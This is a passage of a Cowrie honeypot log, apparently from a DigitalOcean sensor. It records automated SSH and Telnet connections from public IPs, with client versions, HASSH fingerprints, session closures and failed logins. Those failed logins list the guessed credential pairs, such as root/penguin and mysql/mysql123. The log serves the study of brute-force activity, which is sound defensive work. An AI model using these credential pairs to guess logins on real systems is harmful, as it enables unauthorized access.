sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:24.177152Z","src_ip":"8.218.166.49","session":"c34c69a6918c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"elgato","message":"login attempt [user/elgato] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:24.864459Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"elbereth","message":"login attempt [user/elbereth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:25.967710Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:27.069859Z","src_ip":"2.57.121.25","session":"e6e8a0f0df7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2d64afdbb65","protocol":"ssh","message":"New connection: 2.57.122.238:54808 (159.203.135.109:22) [session: e2d64afdbb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:31.873697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:31.879773Z","src_ip":"2.57.122.238","session":"e2d64afdbb65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:31.979004Z","src_ip":"2.57.122.238","session":"e2d64afdbb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:32.262371Z","src_ip":"2.57.122.238","session":"e2d64afdbb65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:33.359797Z","src_ip":"2.57.122.238","session":"e2d64afdbb65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":57198,"dst_ip":"10.17.0.5","dst_port":22,"session":"212bb46e405e","protocol":"ssh","message":"New connection: 182.180.57.212:57198 (10.17.0.5:22) [session: 212bb46e405e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:37.743467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:37.748028Z","src_ip":"182.180.57.212","session":"212bb46e405e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:37.980628Z","src_ip":"182.180.57.212","session":"212bb46e405e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shashi","message":"login attempt [root/shashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:38.942605Z","src_ip":"182.180.57.212","session":"212bb46e405e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":45782,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f9758eca574","protocol":"ssh","message":"New connection: 14.63.196.175:45782 (10.17.0.5:22) [session: 1f9758eca574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:39.082569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:39.086350Z","src_ip":"14.63.196.175","session":"1f9758eca574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:39.282592Z","src_ip":"14.63.196.175","session":"1f9758eca574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"penguin","message":"login attempt [root/penguin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:40.106969Z","src_ip":"14.63.196.175","session":"1f9758eca574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:40.178173Z","src_ip":"182.180.57.212","session":"212bb46e405e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:41.307971Z","src_ip":"14.63.196.175","session":"1f9758eca574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":54984,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce073ad45286","protocol":"ssh","message":"New connection: 68.183.178.130:54984 (10.17.0.5:22) [session: ce073ad45286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:42.583703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:42.588463Z","src_ip":"68.183.178.130","session":"ce073ad45286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:42.769300Z","src_ip":"8.218.166.49","session":"9596be29d5eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:42.825934Z","src_ip":"68.183.178.130","session":"ce073ad45286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:43.810258Z","src_ip":"68.183.178.130","session":"ce073ad45286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:45.051218Z","src_ip":"68.183.178.130","session":"ce073ad45286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":55405,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6353d701bb0","protocol":"ssh","message":"New connection: 49.207.40.162:55405 (10.17.0.5:22) [session: b6353d701bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:54.174663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:54.178987Z","src_ip":"49.207.40.162","session":"b6353d701bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:54.348371Z","src_ip":"8.218.166.49","session":"b818bdc3ed0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:54.396777Z","src_ip":"49.207.40.162","session":"b6353d701bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:55.302308Z","src_ip":"49.207.40.162","session":"b6353d701bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:12:56.522935Z","src_ip":"49.207.40.162","session":"b6353d701bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:00.433900Z","src_ip":"8.218.166.49","session":"f43eaf82dd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:04.911976Z","src_ip":"8.218.166.49","session":"c34c69a6918c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"82.6","message":"Connection lost after 82.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:09.247101Z","src_ip":"8.218.166.49","session":"b818bdc3ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"115.5","message":"Connection lost after 115.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:11.575013Z","src_ip":"8.218.166.49","session":"f43eaf82dd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":19600,"dst_ip":"10.17.0.5","dst_port":22,"session":"4237b7cedcfd","protocol":"ssh","message":"New connection: 194.59.206.2:19600 (10.17.0.5:22) [session: 4237b7cedcfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:23.041137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:23.046161Z","src_ip":"194.59.206.2","session":"4237b7cedcfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:23.140276Z","src_ip":"194.59.206.2","session":"4237b7cedcfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:23.237298Z","src_ip":"194.59.206.2","session":"4237b7cedcfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":50866,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a84ca512694","protocol":"ssh","message":"New connection: 68.183.178.130:50866 (10.17.0.5:22) [session: 1a84ca512694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:24.530013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:24.534656Z","src_ip":"68.183.178.130","session":"1a84ca512694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:24.773325Z","src_ip":"68.183.178.130","session":"1a84ca512694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:25.758577Z","src_ip":"68.183.178.130","session":"1a84ca512694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:27.002190Z","src_ip":"68.183.178.130","session":"1a84ca512694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.239.117.124","src_port":45931,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c23bf5d20f","protocol":"telnet","message":"New connection: 114.239.117.124:45931 (159.203.135.109:23) [session: 39c23bf5d20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:42.049818Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52850,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea16aa29e992","protocol":"ssh","message":"New connection: 8.218.166.49:52850 (10.17.0.5:22) [session: ea16aa29e992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:46.125006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:46.811583Z","src_ip":"8.218.166.49","session":"ea16aa29e992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-ce